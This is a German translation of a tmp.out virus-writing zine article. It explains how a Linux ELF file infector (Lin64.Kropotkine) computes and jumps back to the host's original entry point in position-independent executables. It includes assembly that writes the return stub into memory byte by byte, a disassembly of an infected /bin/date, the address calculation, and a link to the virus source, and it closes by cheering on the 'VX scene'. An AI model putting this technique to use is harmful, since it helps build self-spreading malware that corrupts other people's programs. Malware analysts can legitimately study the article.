┌───────────────────────┐
                                                           ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                           │ █   █ █ █ █   █       │
                                                           │ █   █ █ █ █▀▀▀▀       │
                                                           │ █   █   █ █     ▄     │
                                                           │                 ▄▄▄▄▄ │
                                                           │                 █   █ │
                                                           │                 █   █ │
                                                           │                 █▄▄▄█ │
                                                           │                 ▄   ▄ │
                                                           │                 █   █ │
                                                           │                 █   █ │
                                                           │                 █▄▄▄█ │
                                                           │                 ▄▄▄▄▄ │
                                                           │                   █   │
Rückkehr zum originalem Eintrittspunkt trotz PIE           │                   █   │
~ S01den                                                   └───────────────────█ ──┘

[ Übersetzung von SaThaRiel ]

Mit Liebe geschrieben von S01den, von der tmp.out Crew !

--- 1) Einleitung ---

Als ich meine ersten Schritte durch die Welt der Viren unternommen habe, war eins
der ersten Dinge, mit denen ich zu kämpfen hatte, wie man richig zum Original-
Eintrittspunkt des Hosts zurück springt. Dies ist eine Kernfunktion jedes Virus,
der diesen Namen verdient und war in der Vergangenheit sehr einfach zu implemen-
tieren (mov ebx, OEP; jmp ebx).

Jetzt fragst Du Dich sicherlich "Wieso ist es nicht mehr so einfach?"

Die Antwort kann man in 3 Buchstaben ausdrücken: PIE, was Position Independent
Executable (Positionsunabhängige ausführbare Datei) bedeutet. Bei solchen Binaries
werden die Addressen der Instruktionen zufällig bei jeder Ausführung vergeben (ab-
gesehen vom Alignment). Damit ist der originale Eintrittspunkt (OEP) nicht mehr
Konstant, wir müssen ihn berechnen, bevor wir zu ihm springen können.

Dann wollen wir mal sehen, wie wir das hinbekommen!

--- 2) Rückkehr zu OEP trotz PIE ---

Ich werde hier die Methode beschreiben, die ich benutzt habe, um Ret2OEP in
Lin64.Kropotkoine[0] zu berechnen.
Als ich für ein paar Tage fest hing, hat mir der Artikel von Elfmaster[1] sehr gut
weiter geholfen.

Hier ist also der Code:

-------------------------------- CUT-HERE ------------------------------------------
mov rcx, r15 ;r15 beinhaltet die Stack Addresse, an der unser Viruscode steht
add rcx, VXSIZE ; rcx beinhaltet nun die Addresse nach dem Code des Virus
mov dword [rcx], 0xffffeee8 ; relativer Sprung zu get_eip (13 Bytes vorher)
mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
mov byte  [rcx+8], 0x00000005
mov word  [rcx+11], 0x0002d48
mov qword [rcx+13], r9     ; sub rax, entry0
mov word  [rcx+17], 0x0000548
mov qword [rcx+19], r12   ; add rax, sym._start
mov dword [rcx+23], 0xfff4894c  ; mov rsp, r14
mov word  [rcx+27], 0x00e0    ; jmp rax
------------------------------------------------------------------------------------

Wie Du sehen kannst, schreiben wir den Code, um zum OEP zurück zu springen, Byte pro
Byte direkt in den Speicher (nach dem Code des Virus, sodass wir in diese
Routine springen können, wenn der vorherige Viruscode mit der Ausführung fertig
ist). Hiermit möchten wir sowas erreichen:

(der Code kommt von /bin/date, dass ich mit Lin64.Kropotkine infiziert habe)

-------------------------------- CUT-HERE ------------------------------------------
; Ende des VX Code:
get_rip:
0x0c01ada3      488b0424       mov rax, qword [rsp]
0x0c01ada7      c3             ret
getdot:
0x0c01ada8      e842fbffff     call 0xc01a8ef          ; call main
0x0c01adad      2e0000         add byte cs:[rax], al   ; '.'
; <---- Ende des Virus Codes, hier wird der Ret2OEP Code eingeschleußt!
; der Code, den wir hier haben möchten
0x0c01adb0      e8eeffffff     call 0xc01ada3 ; call get_rip <--
0x0c01adb5      482d0d050000   sub rax, 0x50d ; sub rax, (VXSIZE+5)
0x0c01adbb      482da8a8010c   sub rax, entry0
0x0c01adc1      4805b0380000   add rax, 0x38b0 ;  add rax, sym._start
0x0c01adc7      4c89f4         mov rsp, r14 ; to restore the orignal stack
0x0c01adca      ffe0           jmp rax
------------------------------------------------------------------------------------

Die Idee, OEP zu berechnen, ist nicht sehr kompliziert.
Nehmen wir mal an, dass Offset zur ersten Instruktion im Originalcode des Hosts ist
0x38b0 und RIP ist im Moment 0x55556156edb5 (eine zufällige Addresse), wenn wir
get_rip aufrufen (0x0c01adb0 in obigen Beispiel). Wir möchten die zufällige 
Addresse des OEP herausfinden, damit wir dort hinspringen können.

Der Aufruf von get_rip läd RIP in RAX und wir wissen, dass wir zuerst die Größe
des Viruscodes (plus 5, die Größe von call get_rip) abziehen müssen, um die zufäl-
lige Addresse des Anfangs des Virus zu errechnen.

---> 0x55556156edb5 - (0x508 + 5) = 0x55556156e8a8 ; die Addresse der ersten
Instruktion des VX Codes

Jetzt ziehen wir noch die nicht-zufällige Addresse des Anfangs des Viruscodes ab
(diese wurde vorher in der Virusausführung berechnet - 0x0c01adb0 in unserem
Beispiel).

So wir können einfach folgendes berechnen:

---> zufälliger neuer Eintrittspunkt - nicht-zufällige Eintrittspunktaddresse
                                       (e_hdr.entry)

Mit unseren Werten sieht dies folgendermaßen aus:

---> 0x55556156e8a8 - 0xc01a8a8 = 0x555555554000

Wir haben diese Substraktion durchgeführt, um die Basis herauszufinden. Diesen Wert
müssen wir nun einfach zu dem Original e_hdr.entry addieren (der nicht-zufällige
OEP).

---> 0x555555554000 + 0x38b0 = 0x5555555578b0

Damit haben wir die richtige Sprungaddresse!
Somit wird jmp rax die Ausführung am Anfang des Hostcodes beginnen!

--- Fazit
Zusammenfassend haben wir in etwa folgendes durchgeführt:

---> get_rip() - (VX_SIZE + 5) - new_EP + original-e_hdr.entry

Schnelle Matheaufgabe, wie man sehen kann ! ;)
Lang lebe die VX Szene !
Hier ist die Authorität, da ist keine Freiheit.
Alles ist für Alle.
Hasta siempre!

--- Notizen and Referenzen ---
[0] https://github.com/vxunderground/MalwareSourceCode
      /blob/main/VXUG/Linux.Kropotkine.asm
[1] Modern ELF Infection Techniques of SCOP Binaries:
    https://bitlackeys.org/papers/pocorgtfo20.pdf
    - especially the part named: "Note on resolving Elf_Hdr->e_entry
      in PIEexecutables"

--- Quellen ---

- Linux.Kropotkine.asm